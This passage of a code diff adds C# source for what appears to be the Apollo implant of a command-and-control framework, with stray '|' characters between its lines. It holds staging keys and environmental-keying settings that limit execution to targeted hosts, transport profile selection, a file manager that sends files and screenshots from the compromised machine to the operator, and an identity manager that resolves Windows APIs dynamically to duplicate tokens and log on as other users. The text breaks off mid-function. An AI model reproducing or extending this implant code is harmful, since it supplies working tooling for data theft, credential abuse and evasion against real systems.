public static string StagingRSAPrivateKey = "R3BLdG9OZXdBenVyZUJsb2JQcm9maWxlS2V5MTIzNA==";
|
||||
#elif HTTPX
|
||||
public static string StagingRSAPrivateKey = "K4FLVfFwCPj3zBC+5l9WLCKqsmrtzkk/E8VcVY6iK/o=";
|
||||
#endif
|
||||
#if HTTP
|
||||
public static string PayloadUUID = "b40195db-22e5-4f9f-afc5-2f170c3cc204";
|
||||
#elif WEBSOCKET
|
||||
public static string PayloadUUID = "7546e204-aae4-42df-b28a-ade1c13594d2";
|
||||
#elif SMB
|
||||
public static string PayloadUUID = "aff94490-1e23-4373-978b-263d9c0a47b3";
|
||||
#elif TCP
|
||||
public static string PayloadUUID = "bfc167ea-9142-4da3-b807-c57ae054c544";
|
||||
#elif AZURE_BLOB
|
||||
public static string PayloadUUID = "d1eefaf1-99c7-1901-ded0-3fac2312abdc";
|
||||
#elif HTTPX
|
||||
public static string PayloadUUID = "7f2a0f77-51ca-4afc-a7a9-5ea9717e73c3";
|
||||
#endif
|
||||
#else
|
||||
|
||||
public static string StagingRSAPrivateKey = "AESPSK_here";
|
||||
public static string PayloadUUID = "payload_uuid_here";
|
||||
#endif
|
||||
#if LOCAL_BUILD
|
||||
// Environmental Keying Configuration
|
||||
public static bool KeyingEnabled = false;
|
||||
public static int KeyingMethod = 1; // 1=Hostname, 2=Domain, 3=Registry
|
||||
public static string KeyingValueHash = "keying_value_hash_here";
|
||||
|
||||
// Registry Keying Configuration
|
||||
public static string RegistryPath = "registry_path_here";
|
||||
public static string RegistryValue = "registry_value_here";
|
||||
public static int RegistryComparison = 1; // 1=Matches, 2=Contains
|
||||
#else
|
||||
// Environmental Keying Configuration
|
||||
public static bool KeyingEnabled = keying_enabled_here;
|
||||
public static int KeyingMethod = keying_method_here; // 1=Hostname, 2=Domain, 3=Registry
|
||||
public static string KeyingValueHash = "keying_value_hash_here";
|
||||
|
||||
// Registry Keying Configuration
|
||||
public static string RegistryPath = "registry_path_here";
|
||||
public static string RegistryValue = "registry_value_here";
|
||||
public static int RegistryComparison = registry_comparison_here; // 1=Matches, 2=Contains
|
||||
#endif
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
|
||||
<Costura IncludeDebugSymbols='false'>
|
||||
</Costura>
|
||||
</Weavers>
|
||||
@@ -0,0 +1,141 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
|
||||
<xs:element name="Weavers">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="VerifyAssembly" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="GenerateXsd" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:schema>
|
||||
@@ -0,0 +1,37 @@
|
||||
using ApolloInterop.Interfaces;
|
||||
#if HTTP
|
||||
using HttpTransport;
|
||||
#endif
|
||||
#if HTTPX
|
||||
using HttpxTransport;
|
||||
#endif
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Apollo.Management.C2
|
||||
{
|
||||
public class C2ProfileManager : ApolloInterop.Classes.C2ProfileManager
|
||||
{
|
||||
public C2ProfileManager(IAgent agent) : base(agent)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override IC2Profile NewC2Profile(Type c2, ISerializer serializer, Dictionary<string, string> parameters)
|
||||
{
|
||||
#if HTTP
|
||||
if (c2 == typeof(HttpProfile))
|
||||
{
|
||||
return new HttpProfile(parameters, serializer, Agent);
|
||||
}
|
||||
#endif
|
||||
#if HTTPX
|
||||
if (c2 == typeof(HttpxProfile))
|
||||
{
|
||||
return new HttpxProfile(parameters, serializer, Agent);
|
||||
}
|
||||
#endif
|
||||
throw new ArgumentException($"Unsupported C2 Profile type: {c2.Name}");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,314 @@
|
||||
using ApolloInterop.Classes.Core;
|
||||
using ApolloInterop.Classes.Events;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using ApolloInterop.Classes.Cryptography;
|
||||
|
||||
namespace Apollo.Management.Files
|
||||
{
|
||||
public sealed class FileManager : IFileManager
|
||||
{
|
||||
private int _chunkSize = 512000;
|
||||
private IAgent _agent;
|
||||
private IEncryptedFileStore _fileStore;
|
||||
|
||||
public FileManager(IAgent agent)
|
||||
{
|
||||
_agent = agent;
|
||||
_fileStore = new EncryptedFileStore.EncryptedFileStore(
|
||||
new ICryptographicRoutine[]
|
||||
{
|
||||
new AesRoutine(),
|
||||
// In the future, we should allow composible encryption routines;
|
||||
// however, due to how impersonation and DPAPI interact,
|
||||
// we can't use DPAPI to encrypt files.
|
||||
// new DpapiRoutine(System.Guid.NewGuid().ToByteArray()),
|
||||
});
|
||||
}
|
||||
|
||||
internal struct UploadMessageTracker
|
||||
{
|
||||
internal AutoResetEvent Complete;
|
||||
internal ChunkedMessageStore<MythicTaskStatus> MessageStore;
|
||||
internal byte[] Data;
|
||||
private CancellationToken _ct;
|
||||
internal bool error;
|
||||
internal UploadMessageTracker(CancellationToken ct, bool initialState = false, ChunkedMessageStore<MythicTaskStatus> store = null, byte[] data = null)
|
||||
{
|
||||
_ct = ct;
|
||||
Complete = new AutoResetEvent(initialState);
|
||||
MessageStore = store == null ? new ChunkedMessageStore<MythicTaskStatus>() : store;
|
||||
Data = data;
|
||||
error = false;
|
||||
}
|
||||
internal void MarkError()
|
||||
{
|
||||
error = true;
|
||||
}
|
||||
}
|
||||
|
||||
// Annoyingly, we need a separate struct as Download task responses don't have
|
||||
public class DownloadMessageTracker
|
||||
{
|
||||
public AutoResetEvent Complete = new AutoResetEvent(false);
|
||||
public List<MythicTaskStatus> Statuses = new List<MythicTaskStatus>();
|
||||
public event EventHandler<ChunkMessageEventArgs<MythicTaskStatus>> ChunkAdd;
|
||||
public event EventHandler<ChunkMessageEventArgs<MythicTaskStatus>> AllChunksSent;
|
||||
private CancellationToken _ct;
|
||||
public int TotalChunks { get; private set; }
|
||||
public string FilePath { get; private set; }
|
||||
public string Hostname { get; private set; }
|
||||
public int ChunkSize { get; private set; }
|
||||
public byte[][] Chunks { get; private set; }
|
||||
public int ChunksSent { get; private set; } = 0;
|
||||
public string FileID = "";
|
||||
private object _lock = new object();
|
||||
public bool IsScreenshot { get; private set; }
|
||||
internal DownloadMessageTracker(CancellationToken ct, byte[] data, int chunkSize, string filePath, string hostName = "", bool screenshot = false)
|
||||
{
|
||||
_ct = ct;
|
||||
TotalChunks = (int)Math.Ceiling((double)data.Length / (double)chunkSize);
|
||||
Chunks = new byte[TotalChunks][];
|
||||
for(int i = 0; i < TotalChunks; i++)
|
||||
{
|
||||
Chunks[i] = data.Skip(i * chunkSize).Take(chunkSize).ToArray();
|
||||
}
|
||||
FilePath = filePath;
|
||||
Hostname = hostName;
|
||||
IsScreenshot = screenshot;
|
||||
}
|
||||
|
||||
public void AddMessage(MythicTaskStatus t)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(t.FileID) && string.IsNullOrEmpty(FileID))
|
||||
{
|
||||
FileID = t.FileID;
|
||||
} else if (t.StatusMessage == "success")
|
||||
{
|
||||
ChunksSent += 1;
|
||||
}
|
||||
Statuses.Add(t);
|
||||
if (ChunksSent == TotalChunks || t.StatusMessage == "error" || _ct.IsCancellationRequested)
|
||||
{
|
||||
AllChunksSent?.Invoke(this, new ChunkMessageEventArgs<MythicTaskStatus>(new MythicTaskStatus[] { t }));
|
||||
Complete.Set();
|
||||
} else
|
||||
{
|
||||
ChunkAdd?.Invoke(this, new ChunkMessageEventArgs<MythicTaskStatus>(new MythicTaskStatus[]{ t }));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private ConcurrentDictionary<string, UploadMessageTracker> _uploadMessageStore = new ConcurrentDictionary<string, UploadMessageTracker>();
|
||||
private ConcurrentDictionary<string, DownloadMessageTracker> _downloadMessageStore = new ConcurrentDictionary<string, DownloadMessageTracker>();
|
||||
|
||||
public string[] GetPendingTransfers()
|
||||
{
|
||||
return _uploadMessageStore.Keys.Concat(_downloadMessageStore.Keys).ToArray();
|
||||
}
|
||||
|
||||
public void ProcessResponse(MythicTaskStatus resp)
|
||||
{
|
||||
if (_uploadMessageStore.ContainsKey(resp.ApolloTrackerUUID))
|
||||
{
|
||||
// This is an upload message response, send it along.
|
||||
if (resp.ChunkNumber > 0 && _uploadMessageStore.ContainsKey(resp.ApolloTrackerUUID))
|
||||
{
|
||||
_uploadMessageStore[resp.ApolloTrackerUUID].MessageStore.AddMessage(resp);
|
||||
}
|
||||
} else
|
||||
{
|
||||
if (_downloadMessageStore.ContainsKey(resp.ApolloTrackerUUID))
|
||||
{
|
||||
_downloadMessageStore[resp.ApolloTrackerUUID].AddMessage(resp);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void FileManager_MessageComplete(object sender, ChunkMessageEventArgs<MythicTaskStatus> e)
|
||||
{
|
||||
List<byte> data = new List<byte>();
|
||||
for(int i = 0; i < e.Chunks.Length; i++)
|
||||
{
|
||||
data.AddRange(Convert.FromBase64String(e.Chunks[i].ChunkData));
|
||||
}
|
||||
if (_uploadMessageStore.TryGetValue(e.Chunks[0].ApolloTrackerUUID, out UploadMessageTracker tracker))
|
||||
{
|
||||
tracker.Data = data.ToArray();
|
||||
_uploadMessageStore[e.Chunks[0].ApolloTrackerUUID] = tracker;
|
||||
tracker.Complete.Set();
|
||||
}
|
||||
}
|
||||
|
||||
public bool PutFile(CancellationToken ct, string taskID, byte[] content, string originatingPath, out string mythicFileId, bool isScreenshot = false, string originatingHost = null)
|
||||
{
|
||||
string uuid = Guid.NewGuid().ToString();
|
||||
lock (_downloadMessageStore)
|
||||
{
|
||||
if (string.IsNullOrEmpty(originatingHost))
|
||||
{
|
||||
originatingHost = Environment.GetEnvironmentVariable("COMPUTERNAME");
|
||||
}
|
||||
_downloadMessageStore[uuid] = new DownloadMessageTracker(ct, content, _chunkSize, originatingPath, originatingHost, isScreenshot);
|
||||
_downloadMessageStore[uuid].ChunkAdd += DownloadChunkSent;
|
||||
}
|
||||
MythicTaskResponse resp = new MythicTaskResponse
|
||||
{
|
||||
TaskID = taskID,
|
||||
Download = new DownloadMessage
|
||||
{
|
||||
TotalChunks = _downloadMessageStore[uuid].TotalChunks,
|
||||
FullPath = originatingPath,
|
||||
Hostname = originatingHost,
|
||||
IsScreenshot = isScreenshot,
|
||||
TaskID = taskID,
|
||||
},
|
||||
ApolloTrackerUUID = uuid
|
||||
};
|
||||
_agent.GetTaskManager()?.AddTaskResponseToQueue(resp);
|
||||
WaitHandle.WaitAny(new WaitHandle[]
|
||||
{
|
||||
_downloadMessageStore[uuid].Complete,
|
||||
ct.WaitHandle
|
||||
});
|
||||
_downloadMessageStore.TryRemove(uuid, out DownloadMessageTracker itemTracker);
|
||||
mythicFileId = itemTracker.FileID;
|
||||
return !ct.IsCancellationRequested && itemTracker.ChunksSent == itemTracker.TotalChunks;
|
||||
}
|
||||
|
||||
public bool GetFile(CancellationToken ct, string taskID, string fileID, out byte[] fileBytes)
|
||||
{
|
||||
string uuid = Guid.NewGuid().ToString();
|
||||
lock(_uploadMessageStore)
|
||||
{
|
||||
if (!_uploadMessageStore.ContainsKey(taskID))
|
||||
{
|
||||
_uploadMessageStore[uuid] = new UploadMessageTracker(ct, false);
|
||||
_uploadMessageStore[uuid].MessageStore.ChunkAdd += MessageStore_ChunkAdd;
|
||||
_uploadMessageStore[uuid].MessageStore.MessageComplete += FileManager_MessageComplete;
|
||||
}
|
||||
}
|
||||
_agent.GetTaskManager().AddTaskResponseToQueue(new MythicTaskResponse()
|
||||
{
|
||||
TaskID = taskID,
|
||||
Status = $"Fetching File Chunk 1...",
|
||||
Upload = new UploadMessage()
|
||||
{
|
||||
TaskID = taskID,
|
||||
FileID = fileID,
|
||||
ChunkNumber = 1,
|
||||
ChunkSize = _chunkSize
|
||||
},
|
||||
ApolloTrackerUUID = uuid
|
||||
});
|
||||
WaitHandle.WaitAny(new WaitHandle[]
|
||||
{
|
||||
_uploadMessageStore[uuid].Complete,
|
||||
ct.WaitHandle
|
||||
});
|
||||
bool bRet = false;
|
||||
if (_uploadMessageStore[uuid].Data != null && !_uploadMessageStore[uuid].error)
|
||||
{
|
||||
fileBytes = _uploadMessageStore[uuid].Data;
|
||||
bRet = true;
|
||||
_agent.GetTaskManager().AddTaskResponseToQueue(new MythicTaskResponse()
|
||||
{
|
||||
TaskID = taskID,
|
||||
Status = "Using file...",
|
||||
});
|
||||
} else
|
||||
{
|
||||
fileBytes = null;
|
||||
bRet = false;
|
||||
}
|
||||
_uploadMessageStore.TryRemove(uuid, out UploadMessageTracker _);
|
||||
|
||||
return bRet;
|
||||
}
|
||||
|
||||
private void MessageStore_ChunkAdd(object sender, ChunkMessageEventArgs<MythicTaskStatus> e)
|
||||
{
|
||||
MythicTaskStatus msg = e.Chunks[0];
|
||||
if(msg.StatusMessage != "success")
|
||||
{
|
||||
_uploadMessageStore[msg.ApolloTrackerUUID].MarkError();
|
||||
_uploadMessageStore[msg.ApolloTrackerUUID].Complete.Set();
|
||||
return;
|
||||
}
|
||||
_agent.GetTaskManager().AddTaskResponseToQueue(new MythicTaskResponse()
|
||||
{
|
||||
TaskID = msg.TaskID,
|
||||
Status = $"Fetching File Chunk {msg.ChunkNumber + 1} / {msg.TotalChunks}",
|
||||
Upload = new UploadMessage()
|
||||
{
|
||||
TaskID = msg.TaskID,
|
||||
FileID = msg.FileID,
|
||||
ChunkNumber = msg.ChunkNumber + 1,
|
||||
ChunkSize = _chunkSize
|
||||
},
|
||||
ApolloTrackerUUID = msg.ApolloTrackerUUID
|
||||
});
|
||||
}
|
||||
|
||||
private void DownloadChunkSent(object sender, ChunkMessageEventArgs<MythicTaskStatus> e)
|
||||
{
|
||||
DownloadMessageTracker tracker = (DownloadMessageTracker)sender;
|
||||
var msg = new MythicTaskResponse()
|
||||
{
|
||||
TaskID = e.Chunks[0].TaskID,
|
||||
Status = $"Transferring chunk {tracker.ChunksSent + 1} / {e.Chunks[0].TotalChunks}",
|
||||
Download = new DownloadMessage
|
||||
{
|
||||
ChunkNumber = tracker.ChunksSent + 1,
|
||||
FileID = tracker.FileID,
|
||||
ChunkData = Convert.ToBase64String(tracker.Chunks[tracker.ChunksSent]),
|
||||
TaskID = e.Chunks[0].TaskID
|
||||
},
|
||||
ApolloTrackerUUID = e.Chunks[0].ApolloTrackerUUID
|
||||
};
|
||||
if(tracker.ChunksSent == 0){
|
||||
msg.UserOutput = $"{{\"file_id\": \"{tracker.FileID}\"}}";
|
||||
}
|
||||
_agent.GetTaskManager().AddTaskResponseToQueue(msg);
|
||||
}
|
||||
|
||||
public string GetScript()
|
||||
{
|
||||
return _fileStore.GetScript();
|
||||
}
|
||||
|
||||
public void SetScript(string script)
|
||||
{
|
||||
_fileStore.SetScript(script);
|
||||
}
|
||||
|
||||
public bool AddFileToStore(string keyName, byte[] data)
|
||||
{
|
||||
return _fileStore.TryAddOrUpdate(keyName, data);
|
||||
}
|
||||
|
||||
public bool GetFileFromStore(string keyName, out byte[] data)
|
||||
{
|
||||
return _fileStore.TryGetValue(keyName, out data);
|
||||
}
|
||||
|
||||
public void SetScript(byte[] script)
|
||||
{
|
||||
_fileStore.SetScript(script);
|
||||
}
|
||||
|
||||
public string[] ListFiles()
|
||||
{
|
||||
return _fileStore.ListFiles();
|
||||
}
|
||||
public bool RemoveFile(string keyName)
|
||||
{
|
||||
return _fileStore.RemoveFile(keyName);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,470 @@
|
||||
using ApolloInterop.Classes.Api;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using ApolloInterop.Utils;
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using static ApolloInterop.Constants.Win32;
|
||||
using static ApolloInterop.Enums.Win32;
|
||||
using static ApolloInterop.Structs.Win32;
|
||||
|
||||
namespace Apollo.Management.Identity;
|
||||
|
||||
public class IdentityManager : IIdentityManager
|
||||
{
|
||||
private readonly IAgent _agent;
|
||||
private readonly object _identitySync = new();
|
||||
|
||||
private ApolloLogonInformation _userCredential;
|
||||
private WindowsIdentity _originalIdentity;
|
||||
private WindowsIdentity _currentPrimaryIdentity;
|
||||
private WindowsIdentity _currentImpersonationIdentity;
|
||||
private bool _isImpersonating;
|
||||
|
||||
private IntPtr _executingThread = IntPtr.Zero;
|
||||
private IntPtr _originalImpersonationToken = IntPtr.Zero;
|
||||
private IntPtr _originalPrimaryToken = IntPtr.Zero;
|
||||
|
||||
#region Delegate Typedefs
|
||||
|
||||
private delegate IntPtr GetCurrentThread();
|
||||
|
||||
private delegate bool OpenThreadToken(
|
||||
IntPtr threadHandle,
|
||||
uint desiredAccess,
|
||||
bool openAsSelf,
|
||||
out IntPtr tokenHandle);
|
||||
|
||||
private delegate bool OpenProcessToken(
|
||||
IntPtr hProcess,
|
||||
uint dwDesiredAccess,
|
||||
out IntPtr hToken);
|
||||
|
||||
private delegate bool DuplicateTokenEx(
|
||||
IntPtr hToken,
|
||||
TokenAccessLevels dwDesiredAccess,
|
||||
IntPtr lpTokenAttributes,
|
||||
TokenImpersonationLevel impersonationLevel,
|
||||
TokenType tokenType,
|
||||
out IntPtr phNewToken);
|
||||
|
||||
private delegate bool SetThreadToken(
|
||||
ref IntPtr hThread,
|
||||
IntPtr hToken);
|
||||
|
||||
private delegate bool CloseHandle(IntPtr hHandle);
|
||||
|
||||
private delegate bool GetTokenInformation(
|
||||
IntPtr tokenHandle,
|
||||
TokenInformationClass tokenInformationClass,
|
||||
IntPtr tokenInformation,
|
||||
int tokenInformationLength,
|
||||
out int returnLength);
|
||||
|
||||
private delegate IntPtr GetSidSubAuthorityCount(IntPtr pSid);
|
||||
private delegate IntPtr GetSidSubAuthority(IntPtr pSid, int nSubAuthority);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Winapi, CharSet = CharSet.Unicode)]
|
||||
private delegate bool LogonUserW(
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string lpszUsername,
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string lpszDomain,
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string lpszPassword,
|
||||
LogonType dwLogonType,
|
||||
LogonProvider dwLogonProvider,
|
||||
out IntPtr phToken);
|
||||
|
||||
private readonly GetCurrentThread _GetCurrentThread;
|
||||
private readonly OpenThreadToken _OpenThreadToken;
|
||||
private readonly OpenProcessToken _OpenProcessToken;
|
||||
private readonly DuplicateTokenEx _DuplicateTokenEx;
|
||||
private readonly SetThreadToken _SetThreadToken;
|
||||
private readonly CloseHandle _CloseHandle;
|
||||
private readonly GetTokenInformation _GetTokenInformation;
|
||||
private readonly GetSidSubAuthorityCount _GetSidSubAuthorityCount;
|
||||
private readonly GetSidSubAuthority _GetSidSubAuthority;
|
||||
|
||||
private readonly LogonUserW _pLogonUserW;
|
||||
|
||||
#endregion
|
||||
|
||||
public IdentityManager(IAgent agent)
|
||||
{
|
||||
_agent = agent;
|
||||
|
||||
_GetCurrentThread = _agent.GetApi().GetLibraryFunction<GetCurrentThread>(Library.KERNEL32, "GetCurrentThread");
|
||||
_OpenThreadToken = _agent.GetApi().GetLibraryFunction<OpenThreadToken>(Library.ADVAPI32, "OpenThreadToken");
|
||||
_OpenProcessToken = _agent.GetApi().GetLibraryFunction<OpenProcessToken>(Library.ADVAPI32, "OpenProcessToken");
|
||||
_DuplicateTokenEx = _agent.GetApi().GetLibraryFunction<DuplicateTokenEx>(Library.ADVAPI32, "DuplicateTokenEx");
|
||||
_SetThreadToken = _agent.GetApi().GetLibraryFunction<SetThreadToken>(Library.ADVAPI32, "SetThreadToken");
|
||||
_CloseHandle = _agent.GetApi().GetLibraryFunction<CloseHandle>(Library.KERNEL32, "CloseHandle");
|
||||
_GetTokenInformation = _agent.GetApi().GetLibraryFunction<GetTokenInformation>(Library.ADVAPI32, "GetTokenInformation");
|
||||
_GetSidSubAuthorityCount = _agent.GetApi().GetLibraryFunction<GetSidSubAuthorityCount>(Library.ADVAPI32, "GetSidSubAuthorityCount");
|
||||
_GetSidSubAuthority = _agent.GetApi().GetLibraryFunction<GetSidSubAuthority>(Library.ADVAPI32, "GetSidSubAuthority");
|
||||
_pLogonUserW = _agent.GetApi().GetLibraryFunction<LogonUserW>(Library.ADVAPI32, "LogonUserW");
|
||||
|
||||
_originalIdentity = WindowsIdentity.GetCurrent();
|
||||
_currentPrimaryIdentity = _originalIdentity;
|
||||
_currentImpersonationIdentity = _originalIdentity;
|
||||
_isImpersonating = false;
|
||||
_userCredential = new ApolloLogonInformation();
|
||||
|
||||
_executingThread = _GetCurrentThread();
|
||||
SetImpersonationToken();
|
||||
SetPrimaryToken();
|
||||
}
|
||||
|
||||
private void SetPrimaryToken()
|
||||
{
|
||||
bool bRet = _OpenThreadToken(
|
||||
_executingThread,
|
||||
TOKEN_ALL_ACCESS,
|
||||
true,
|
||||
out _originalPrimaryToken);
|
||||
|
||||
int dwError = Marshal.GetLastWin32Error();
|
||||
|
||||
if (!bRet)
|
||||
{
|
||||
if (dwError == Error.ERROR_NO_TOKEN)
|
||||
{
|
||||
IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
|
||||
bRet = _OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out _originalPrimaryToken);
|
||||
if (!bRet)
|
||||
throw new Exception($"Failed to open process token: {Marshal.GetLastWin32Error()}");
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new Exception($"Failed to open thread token: {dwError}");
|
||||
}
|
||||
}
|
||||
|
||||
if (_originalPrimaryToken == IntPtr.Zero)
|
||||
_originalPrimaryToken = _originalIdentity.Token;
|
||||
}
|
||||
|
||||
private void SetImpersonationToken()
|
||||
{
|
||||
bool bRet = _OpenThreadToken(
|
||||
_executingThread,
|
||||
TOKEN_ALL_ACCESS,
|
||||
true,
|
||||
out IntPtr hToken);
|
||||
|
||||
int dwError = Marshal.GetLastWin32Error();
|
||||
|
||||
if (!bRet)
|
||||
{
|
||||
if (dwError == Error.ERROR_NO_TOKEN)
|
||||
{
|
||||
IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
|
||||
bRet = _OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out hToken);
|
||||
if (!bRet)
|
||||
